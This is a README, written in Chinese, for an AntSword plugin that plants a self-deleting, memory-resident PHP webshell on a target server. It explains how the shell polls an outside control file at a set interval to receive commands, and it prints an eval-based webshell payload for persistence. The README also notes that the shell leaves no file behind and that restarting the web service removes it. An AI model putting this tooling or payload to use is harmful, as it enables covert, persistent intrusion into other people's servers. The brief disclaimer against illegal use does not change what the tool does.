# inject_und3ad

中国蚁剑（Antsword）插件

向目标服务器植入不死php webshell

## 演示

* 权限维持

![inject_undead_webshell.png](./img/inject_undead_webshell.png)

点击左上角远程文件按钮，输入远程控制文件地址以及轮询时间（以秒为单位），点击确定即可（分隔符为###）

For example : http://192.168.134.128/1.txt###60   每60秒轮询一次http://192.168.134.128/1.txt里的内容

文件内容类似于 `file_put_contents('./1.php','<?php @eval($_POST[ph4ntom]); ?>')`;  (密码可自定义，路径也可自定义，此文件内容旨在每隔一段时间写入一个小马)

上述旨在利用php特性植入不死webshell，在执行完成后，此webshell会基于用户设置的轮询时间向用户设置的远程文件地址发送请求，用户只需在远程地址的txt文档中输入想要执行的命令即可
可。

此webshell在执行后会自身删除，驻留内存之中，无文件残留

清除办法包括重启web服务等

用户在植入不死webshell后，远程控制文件地址将会被记录，在第二次打开此界面时会在下方"历史远端控制文件"中看见

## 注意事项

  此插件仅支持php环境
  
  在远程文件上如果不打算执行命令，请在远程文件中写入一个空格，否则此webshell会退出。
  
  使用者不得用于非法用途
  
## Todo

  若发现问题，请与我联系并改进~
 

